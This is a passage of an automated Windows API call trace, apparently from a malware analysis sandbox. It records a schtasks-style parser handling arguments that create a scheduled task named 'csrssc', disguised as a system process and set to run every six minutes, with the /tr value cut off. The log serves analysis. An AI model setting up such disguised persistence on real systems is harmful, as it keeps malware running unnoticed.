lpSrch="|tn|") returned 0x0 [0067.822] SetLastError (dwErrCode=0x490) [0067.822] lstrlenW (lpString="end") returned 3 [0067.822] lstrlenW (lpString="end") returned 3 [0067.822] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.822] lstrlenW (lpString="tn") returned 2 [0067.822] _memicmp (_Buf1=0x23c2e0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.822] _vsnwprintf (in: _Buffer=0x23c320, _BufferCount=0x6, _Format="|%s|", _ArgList=0x11f738 | out: _Buffer="|end|") returned 5 [0067.822] _vsnwprintf (in: _Buffer=0x23c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f738 | out: _Buffer="|tn|") returned 4 [0067.823] lstrlenW (lpString="|end|") returned 5 [0067.823] lstrlenW (lpString="|tn|") returned 4 [0067.823] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0067.823] SetLastError (dwErrCode=0x490) [0067.823] lstrlenW (lpString="showsid") returned 7 [0067.823] lstrlenW (lpString="showsid") returned 7 [0067.823] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.823] GetProcessHeap () returned 0x220000 [0067.823] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23c320) returned 1 [0067.823] GetProcessHeap () returned 0x220000 [0067.823] RtlReAllocateHeap (Heap=0x220000, Flags=0xc, Ptr=0x23c320, Size=0x16) returned 0x23c320 [0067.823] lstrlenW (lpString="tn") returned 2 [0067.823] _memicmp (_Buf1=0x23c2e0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.823] _vsnwprintf (in: _Buffer=0x23c320, _BufferCount=0xa, _Format="|%s|", _ArgList=0x11f738 | out: _Buffer="|showsid|") returned 9 [0067.823] _vsnwprintf (in: _Buffer=0x23c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f738 | out: _Buffer="|tn|") returned 4 [0067.823] lstrlenW (lpString="|showsid|") returned 9 [0067.823] lstrlenW (lpString="|tn|") returned 4 [0067.823] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0067.823] SetLastError (dwErrCode=0x490) [0067.823] SetLastError (dwErrCode=0x490) [0067.823] SetLastError (dwErrCode=0x0) [0067.823] lstrlenW (lpString="/tn") returned 3 [0067.823] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0067.823] SetLastError (dwErrCode=0x490) [0067.823] SetLastError (dwErrCode=0x0) [0067.823] lstrlenW (lpString="/tn") returned 3 [0067.823] GetProcessHeap () returned 0x220000 [0067.823] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x8) returned 0x23c2c0 [0067.823] GetProcessHeap () returned 0x220000 [0067.824] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x23ccf0 [0067.824] SetLastError (dwErrCode=0x0) [0067.824] SetLastError (dwErrCode=0x0) [0067.824] lstrlenW (lpString="csrssc") returned 6 [0067.824] lstrlenW (lpString="-/") returned 2 [0067.824] StrChrIW (lpStart="-/", wMatch=0x63) returned 0x0 [0067.824] SetLastError (dwErrCode=0x490) [0067.824] SetLastError (dwErrCode=0x490) [0067.824] SetLastError (dwErrCode=0x0) [0067.824] lstrlenW (lpString="csrssc") returned 6 [0067.824] StrChrIW (lpStart="csrssc", wMatch=0x3a) returned 0x0 [0067.824] SetLastError (dwErrCode=0x490) [0067.824] SetLastError (dwErrCode=0x0) [0067.824] lstrlenW (lpString="csrssc") returned 6 [0067.824] GetProcessHeap () returned 0x220000 [0067.824] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0xe) returned 0x23c350 [0067.824] GetProcessHeap () returned 0x220000 [0067.824] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x23cd20 [0067.824] SetLastError (dwErrCode=0x0) [0067.824] SetLastError (dwErrCode=0x0) [0067.824] lstrlenW (lpString="/sc") returned 3 [0067.824] lstrlenW (lpString="-/") returned 2 [0067.824] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0067.824] lstrlenW (lpString="?") returned 1 [0067.824] lstrlenW (lpString="?") returned 1 [0067.824] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.824] lstrlenW (lpString="sc") returned 2 [0067.824] _memicmp (_Buf1=0x23c2e0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.824] _vsnwprintf (in: _Buffer=0x23c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11f738 | out: _Buffer="|?|") returned 3 [0067.824] _vsnwprintf (in: _Buffer=0x23c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f738 | out: _Buffer="|sc|") returned 4 [0067.824] lstrlenW (lpString="|?|") returned 3 [0067.824] lstrlenW (lpString="|sc|") returned 4 [0067.825] SetLastError (dwErrCode=0x490) [0067.825] lstrlenW (lpString="create") returned 6 [0067.825] lstrlenW (lpString="create") returned 6 [0067.825] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.825] lstrlenW (lpString="sc") returned 2 [0067.825] _memicmp (_Buf1=0x23c2e0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.825] _vsnwprintf (in: _Buffer=0x23c320, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f738 | out: _Buffer="|create|") returned 8 [0067.825] _vsnwprintf (in: _Buffer=0x23c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f738 | out: _Buffer="|sc|") returned 4 [0067.825] lstrlenW (lpString="|create|") returned 8 [0067.825] lstrlenW (lpString="|sc|") returned 4 [0067.825] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0067.825] SetLastError (dwErrCode=0x490) [0067.825] lstrlenW (lpString="delete") returned 6 [0067.825] lstrlenW (lpString="delete") returned 6 [0067.825] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.825] lstrlenW (lpString="sc") returned 2 [0067.825] _memicmp (_Buf1=0x23c2e0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.825] _vsnwprintf (in: _Buffer=0x23c320, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f738 | out: _Buffer="|delete|") returned 8 [0067.825] _vsnwprintf (in: _Buffer=0x23c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f738 | out: _Buffer="|sc|") returned 4 [0067.825] lstrlenW (lpString="|delete|") returned 8 [0067.825] lstrlenW (lpString="|sc|") returned 4 [0067.825] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0067.825] SetLastError (dwErrCode=0x490) [0067.825] lstrlenW (lpString="query") returned 5 [0067.825] lstrlenW (lpString="query") returned 5 [0067.825] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.825] lstrlenW (lpString="sc") returned 2 [0067.825] _memicmp (_Buf1=0x23c2e0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.825] _vsnwprintf (in: _Buffer=0x23c320, _BufferCount=0x8, _Format="|%s|", _ArgList=0x11f738 | out: _Buffer="|query|") returned 7 [0067.825] _vsnwprintf (in: _Buffer=0x23c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f738 | out: _Buffer="|sc|") returned 4 [0067.826] lstrlenW (lpString="|query|") returned 7 [0067.826] lstrlenW (lpString="|sc|") returned 4 [0067.826] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0067.826] SetLastError (dwErrCode=0x490) [0067.826] lstrlenW (lpString="change") returned 6 [0067.826] lstrlenW (lpString="change") returned 6 [0067.826] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.826] lstrlenW (lpString="sc") returned 2 [0067.826] _memicmp (_Buf1=0x23c2e0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.826] _vsnwprintf (in: _Buffer=0x23c320, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f738 | out: _Buffer="|change|") returned 8 [0067.826] _vsnwprintf (in: _Buffer=0x23c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f738 | out: _Buffer="|sc|") returned 4 [0067.826] lstrlenW (lpString="|change|") returned 8 [0067.826] lstrlenW (lpString="|sc|") returned 4 [0067.826] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0067.826] SetLastError (dwErrCode=0x490) [0067.826] lstrlenW (lpString="run") returned 3 [0067.826] lstrlenW (lpString="run") returned 3 [0067.826] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.826] lstrlenW (lpString="sc") returned 2 [0067.826] _memicmp (_Buf1=0x23c2e0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.826] _vsnwprintf (in: _Buffer=0x23c320, _BufferCount=0x6, _Format="|%s|", _ArgList=0x11f738 | out: _Buffer="|run|") returned 5 [0067.826] _vsnwprintf (in: _Buffer=0x23c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f738 | out: _Buffer="|sc|") returned 4 [0067.826] lstrlenW (lpString="|run|") returned 5 [0067.826] lstrlenW (lpString="|sc|") returned 4 [0067.826] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0067.826] SetLastError (dwErrCode=0x490) [0067.826] lstrlenW (lpString="end") returned 3 [0067.826] lstrlenW (lpString="end") returned 3 [0067.826] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.827] lstrlenW (lpString="sc") returned 2 [0067.827] _memicmp (_Buf1=0x23c2e0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.827] _vsnwprintf (in: _Buffer=0x23c320, _BufferCount=0x6, _Format="|%s|", _ArgList=0x11f738 | out: _Buffer="|end|") returned 5 [0067.827] _vsnwprintf (in: _Buffer=0x23c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f738 | out: _Buffer="|sc|") returned 4 [0067.827] lstrlenW (lpString="|end|") returned 5 [0067.827] lstrlenW (lpString="|sc|") returned 4 [0067.827] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0067.827] SetLastError (dwErrCode=0x490) [0067.827] lstrlenW (lpString="showsid") returned 7 [0067.827] lstrlenW (lpString="showsid") returned 7 [0067.827] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.827] lstrlenW (lpString="sc") returned 2 [0067.827] _memicmp (_Buf1=0x23c2e0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.827] _vsnwprintf (in: _Buffer=0x23c320, _BufferCount=0xa, _Format="|%s|", _ArgList=0x11f738 | out: _Buffer="|showsid|") returned 9 [0067.827] _vsnwprintf (in: _Buffer=0x23c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f738 | out: _Buffer="|sc|") returned 4 [0067.827] lstrlenW (lpString="|showsid|") returned 9 [0067.827] lstrlenW (lpString="|sc|") returned 4 [0067.827] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0067.827] SetLastError (dwErrCode=0x490) [0067.827] SetLastError (dwErrCode=0x490) [0067.827] SetLastError (dwErrCode=0x0) [0067.827] lstrlenW (lpString="/sc") returned 3 [0067.827] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0067.827] SetLastError (dwErrCode=0x490) [0067.827] SetLastError (dwErrCode=0x0) [0067.827] lstrlenW (lpString="/sc") returned 3 [0067.827] GetProcessHeap () returned 0x220000 [0067.827] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x8) returned 0x23c370 [0067.827] GetProcessHeap () returned 0x220000 [0067.827] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x23cd50 [0067.827] SetLastError (dwErrCode=0x0) [0067.827] SetLastError (dwErrCode=0x0) [0067.828] lstrlenW (lpString="MINUTE") returned 6 [0067.828] lstrlenW (lpString="-/") returned 2 [0067.828] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0067.828] SetLastError (dwErrCode=0x490) [0067.828] SetLastError (dwErrCode=0x490) [0067.828] SetLastError (dwErrCode=0x0) [0067.828] lstrlenW (lpString="MINUTE") returned 6 [0067.828] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0067.828] SetLastError (dwErrCode=0x490) [0067.828] SetLastError (dwErrCode=0x0) [0067.828] lstrlenW (lpString="MINUTE") returned 6 [0067.828] GetProcessHeap () returned 0x220000 [0067.828] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0xe) returned 0x23c390 [0067.828] GetProcessHeap () returned 0x220000 [0067.828] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x23cd80 [0067.828] SetLastError (dwErrCode=0x0) [0067.828] SetLastError (dwErrCode=0x0) [0067.828] lstrlenW (lpString="/mo") returned 3 [0067.828] lstrlenW (lpString="-/") returned 2 [0067.828] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0067.828] lstrlenW (lpString="?") returned 1 [0067.828] lstrlenW (lpString="?") returned 1 [0067.828] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.828] lstrlenW (lpString="mo") returned 2 [0067.828] _memicmp (_Buf1=0x23c2e0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.828] _vsnwprintf (in: _Buffer=0x23c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11f738 | out: _Buffer="|?|") returned 3 [0067.828] _vsnwprintf (in: _Buffer=0x23c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f738 | out: _Buffer="|mo|") returned 4 [0067.828] lstrlenW (lpString="|?|") returned 3 [0067.828] lstrlenW (lpString="|mo|") returned 4 [0067.828] SetLastError (dwErrCode=0x490) [0067.828] lstrlenW (lpString="create") returned 6 [0067.828] lstrlenW (lpString="create") returned 6 [0067.828] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.828] lstrlenW (lpString="mo") returned 2 [0067.829] _memicmp (_Buf1=0x23c2e0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.829] _vsnwprintf (in: _Buffer=0x23c320, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f738 | out: _Buffer="|create|") returned 8 [0067.829] _vsnwprintf (in: _Buffer=0x23c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f738 | out: _Buffer="|mo|") returned 4 [0067.829] lstrlenW (lpString="|create|") returned 8 [0067.829] lstrlenW (lpString="|mo|") returned 4 [0067.829] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0067.829] SetLastError (dwErrCode=0x490) [0067.829] lstrlenW (lpString="delete") returned 6 [0067.829] lstrlenW (lpString="delete") returned 6 [0067.829] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.829] lstrlenW (lpString="mo") returned 2 [0067.829] _memicmp (_Buf1=0x23c2e0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.829] _vsnwprintf (in: _Buffer=0x23c320, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f738 | out: _Buffer="|delete|") returned 8 [0067.829] _vsnwprintf (in: _Buffer=0x23c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f738 | out: _Buffer="|mo|") returned 4 [0067.829] lstrlenW (lpString="|delete|") returned 8 [0067.829] lstrlenW (lpString="|mo|") returned 4 [0067.829] StrStrIW (lpFirst="|delete|", lpSrch="|mo|") returned 0x0 [0067.829] SetLastError (dwErrCode=0x490) [0067.829] lstrlenW (lpString="query") returned 5 [0067.829] lstrlenW (lpString="query") returned 5 [0067.829] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.829] lstrlenW (lpString="mo") returned 2 [0067.829] _memicmp (_Buf1=0x23c2e0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.829] _vsnwprintf (in: _Buffer=0x23c320, _BufferCount=0x8, _Format="|%s|", _ArgList=0x11f738 | out: _Buffer="|query|") returned 7 [0067.829] _vsnwprintf (in: _Buffer=0x23c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f738 | out: _Buffer="|mo|") returned 4 [0067.829] lstrlenW (lpString="|query|") returned 7 [0067.829] lstrlenW (lpString="|mo|") returned 4 [0067.829] StrStrIW (lpFirst="|query|", lpSrch="|mo|") returned 0x0 [0067.829] SetLastError (dwErrCode=0x490) [0067.830] lstrlenW (lpString="change") returned 6 [0067.830] lstrlenW (lpString="change") returned 6 [0067.830] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.830] lstrlenW (lpString="mo") returned 2 [0067.830] _memicmp (_Buf1=0x23c2e0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.830] _vsnwprintf (in: _Buffer=0x23c320, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f738 | out: _Buffer="|change|") returned 8 [0067.830] _vsnwprintf (in: _Buffer=0x23c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f738 | out: _Buffer="|mo|") returned 4 [0067.830] lstrlenW (lpString="|change|") returned 8 [0067.830] lstrlenW (lpString="|mo|") returned 4 [0067.830] StrStrIW (lpFirst="|change|", lpSrch="|mo|") returned 0x0 [0067.830] SetLastError (dwErrCode=0x490) [0067.830] lstrlenW (lpString="run") returned 3 [0067.830] lstrlenW (lpString="run") returned 3 [0067.830] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.830] lstrlenW (lpString="mo") returned 2 [0067.830] _memicmp (_Buf1=0x23c2e0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.830] _vsnwprintf (in: _Buffer=0x23c320, _BufferCount=0x6, _Format="|%s|", _ArgList=0x11f738 | out: _Buffer="|run|") returned 5 [0067.830] _vsnwprintf (in: _Buffer=0x23c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f738 | out: _Buffer="|mo|") returned 4 [0067.830] lstrlenW (lpString="|run|") returned 5 [0067.830] lstrlenW (lpString="|mo|") returned 4 [0067.830] StrStrIW (lpFirst="|run|", lpSrch="|mo|") returned 0x0 [0067.830] SetLastError (dwErrCode=0x490) [0067.830] lstrlenW (lpString="end") returned 3 [0067.830] lstrlenW (lpString="end") returned 3 [0067.830] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.830] lstrlenW (lpString="mo") returned 2 [0067.830] _memicmp (_Buf1=0x23c2e0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.830] _vsnwprintf (in: _Buffer=0x23c320, _BufferCount=0x6, _Format="|%s|", _ArgList=0x11f738 | out: _Buffer="|end|") returned 5 [0067.830] _vsnwprintf (in: _Buffer=0x23c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f738 | out: _Buffer="|mo|") returned 4 [0067.830] lstrlenW (lpString="|end|") returned 5 [0067.831] lstrlenW (lpString="|mo|") returned 4 [0067.831] StrStrIW (lpFirst="|end|", lpSrch="|mo|") returned 0x0 [0067.831] SetLastError (dwErrCode=0x490) [0067.831] lstrlenW (lpString="showsid") returned 7 [0067.831] lstrlenW (lpString="showsid") returned 7 [0067.831] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.831] lstrlenW (lpString="mo") returned 2 [0067.831] _memicmp (_Buf1=0x23c2e0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.831] _vsnwprintf (in: _Buffer=0x23c320, _BufferCount=0xa, _Format="|%s|", _ArgList=0x11f738 | out: _Buffer="|showsid|") returned 9 [0067.831] _vsnwprintf (in: _Buffer=0x23c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f738 | out: _Buffer="|mo|") returned 4 [0067.831] lstrlenW (lpString="|showsid|") returned 9 [0067.831] lstrlenW (lpString="|mo|") returned 4 [0067.831] StrStrIW (lpFirst="|showsid|", lpSrch="|mo|") returned 0x0 [0067.831] SetLastError (dwErrCode=0x490) [0067.831] SetLastError (dwErrCode=0x490) [0067.831] SetLastError (dwErrCode=0x0) [0067.831] lstrlenW (lpString="/mo") returned 3 [0067.831] StrChrIW (lpStart="/mo", wMatch=0x3a) returned 0x0 [0067.831] SetLastError (dwErrCode=0x490) [0067.831] SetLastError (dwErrCode=0x0) [0067.831] lstrlenW (lpString="/mo") returned 3 [0067.831] GetProcessHeap () returned 0x220000 [0067.831] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x8) returned 0x23c3b0 [0067.831] GetProcessHeap () returned 0x220000 [0067.831] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x23cdb0 [0067.831] SetLastError (dwErrCode=0x0) [0067.831] SetLastError (dwErrCode=0x0) [0067.831] lstrlenW (lpString="6") returned 1 [0067.831] SetLastError (dwErrCode=0x490) [0067.831] SetLastError (dwErrCode=0x0) [0067.831] lstrlenW (lpString="6") returned 1 [0067.831] StrChrIW (lpStart="6", wMatch=0x3a) returned 0x0 [0067.831] SetLastError (dwErrCode=0x490) [0067.831] SetLastError (dwErrCode=0x0) [0067.831] lstrlenW (lpString="6") returned 1 [0067.832] GetProcessHeap () returned 0x220000 [0067.832] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x4) returned 0x23c3d0 [0067.832] GetProcessHeap () returned 0x220000 [0067.832] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x23cde0 [0067.832] SetLastError (dwErrCode=0x0) [0067.832] SetLastError (dwErrCode=0x0) [0067.832] lstrlenW (lpString="/tr") returned 3 [0067.832] lstrlenW (lpString="-/") returned 2 [0067.832] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0067.832] lstrlenW (lpString="?") returned 1 [0067.832] lstrlenW (lpString="?") returned 1 [0067.832] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.832] lstrlenW (lpString="tr") returned 2 [0067.832] _memicmp (_Buf1=0x23c2e0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.832] _vsnwprintf (in: _Buffer=0x23c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11f738 | out: _Buffer="|?|") returned 3 [0067.832] _vsnwprintf (in: _Buffer=0x23c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f738 | out: _Buffer="|tr|") returned 4 [0067.832] lstrlenW (lpString="|?|") returned 3 [0067.832] lstrlenW (lpString="|tr|") returned 4 [0067.832] SetLastError (dwErrCode=0x490) [0067.832] lstrlenW (lpString="create") returned 6 [0067.832] lstrlenW (lpString="create") returned 6 [0067.832] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.832] lstrlenW (lpString="tr") returned 2 [0067.832] _memicmp (_Buf1=0x23c2e0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.832] _vsnwprintf (in: _Buffer=0x23c320, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f738 | out: _Buffer="|create|") returned 8 [0067.832] _vsnwprintf (in: _Buffer=0x23c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f738 | out: _Buffer="|tr|") returned 4 [0067.832] lstrlenW (lpString="|create|") returned 8 [0067.832] lstrlenW (lpString="|tr|") returned 4 [0067.832] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0067.832] SetLastError (dwErrCode=0x490) [0067.832] lstrlenW (lpString="delete") returned 6 [0067.832] lstrlenW (lpString="delete") returned 6 [0067.832] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.833] lstrlenW (lpString="tr") returned 2 [0067.833] _memicmp (_Buf1=0x23c2e0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.833] _vsnwprintf (in: _Buffer=0x23c320, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f738 | out: _Buffer="|delete|") returned 8 [0067.833] _vsnwprintf (in: _Buffer=0x23c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f738 | out: _Buffer="|tr|") returned 4 [0067.833] lstrlenW (lpString="|delete|") returned 8 [0067.833] lstrlenW (lpString="|tr|") returned 4 [0067.833] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0067.833] SetLastError (dwErrCode=0x490) [0067.833] lstrlenW (lpString="query") returned 5 [0067.833] lstrlenW (lpString="query") returned 5 [0067.833] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.833] lstrlenW (lpString="tr") returned 2 [0067.833] _memicmp (_Buf1=0x23c2e0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.833] _vsnwprintf (in: _Buffer=0x23c320, _BufferCount=0x8, _Format="|%s|", _ArgList=0x11f738 | out: _Buffer="|query|") returned 7 [0067.833] _vsnwprintf (in: _Buffer=0x23c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f738 | out: _Buffer="|tr|") returned 4 [0067.833] lstrlenW (lpString="|query|") returned 7 [0067.833] lstrlenW (lpString="|tr|") returned 4 [0067.833] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0067.833] SetLastError (dwErrCode=0x490) [0067.833] lstrlenW (lpString="change") returned 6 [0067.833] lstrlenW (lpString="change") returned 6 [0067.833] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.833] lstrlenW (lpString="tr") returned 2 [0067.833] _memicmp (_Buf1=0x23c2e0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.833] _vsnwprintf (in: _Buffer=0x23c320, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f738 | out: _Buffer="|change|") returned 8 [0067.833] _vsnwprintf (in: _Buffer=0x23c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f738 | out: _Buffer="|tr|") returned 4 [0067.833] lstrlenW (lpString="|change|") returned 8 [0067.833] lstrlenW (lpString="|tr|") returned 4 [0067.833] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0067.833] SetLastError (dwErrCode=0x490) [0067.833] lstrlenW (lpString="run") returned 3 [0067.833] lstrlenW (lpString="run") returned 3 [0067.834] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.834] lstrlenW (lpString="tr") returned 2 [0067.834] _memicmp (_Buf1=0x23c2e0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.834] _vsnwprintf (in: _Buffer=0x23c320, _BufferCount=0x6, _Format="|%s|", _ArgList=0x11f738 | out: _Buffer="|run|") returned 5 [0067.834] _vsnwprintf (in: _Buffer=0x23c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f738 | out: _Buffer="|tr|") returned 4 [0067.834] lstrlenW (lpString="|run|") returned 5 [0067.834] lstrlenW (lpString="|tr|") returned 4 [0067.834] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0067.834] SetLastError (dwErrCode=0x490) [0067.834] lstrlenW (lpString="end") returned 3 [0067.834] lstrlenW (lpString="end") returned 3 [0067.834] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.834] lstrlenW (lpString="tr") returned 2 [0067.834] _memicmp (_Buf1=0x23c2e0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.834] _vsnwprintf (in: _Buffer=0x23c320, _BufferCount=0x6, _Format="|%s|", _ArgList=0x11f738 | out: _Buffer="|end|") returned 5 [0067.834] _vsnwprintf (in: _Buffer=0x23c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f738 | out: _Buffer="|tr|") returned 4 [0067.834] lstrlenW (lpString="|end|") returned 5 [0067.834] lstrlenW (lpString="|tr|") returned 4 [0067.834] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0067.834] SetLastError (dwErrCode=0x490) [0067.834] lstrlenW (lpString="showsid") returned 7 [0067.834] lstrlenW (lpString="showsid") returned 7 [0067.834] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.834] lstrlenW (lpString="tr") returned 2 [0067.834] _memicmp (_Buf1=0x23c2e0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0067.834] _vsnwprintf (in: _Buffer=0x23c320, _BufferCount=0xa, _Format="|%s|", _ArgList=0x11f738 | out: _Buffer="|showsid|") returned 9 [0067.834] _vsnwprintf (in: _Buffer=0x23c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f738 | out: _Buffer="|tr|") returned 4 [0067.834] lstrlenW (lpString="|showsid|") returned 9 [0067.834] lstrlenW (lpString="|tr|") returned 4 [0067.835] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0067.835] SetLastError (dwErrCode=0x490) [0067.835] SetLastError (dwErrCode=0x490) [0067.835] SetLastError (dwErrCode=0x0) [0067.835] lstrlenW (lpString="/tr") returned 3 [0067.835] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0067.835] SetLastError (dwErrCode=0x490) [0067.835] SetLastError (dwErrCode=0x0) [0067.835] lstrlenW 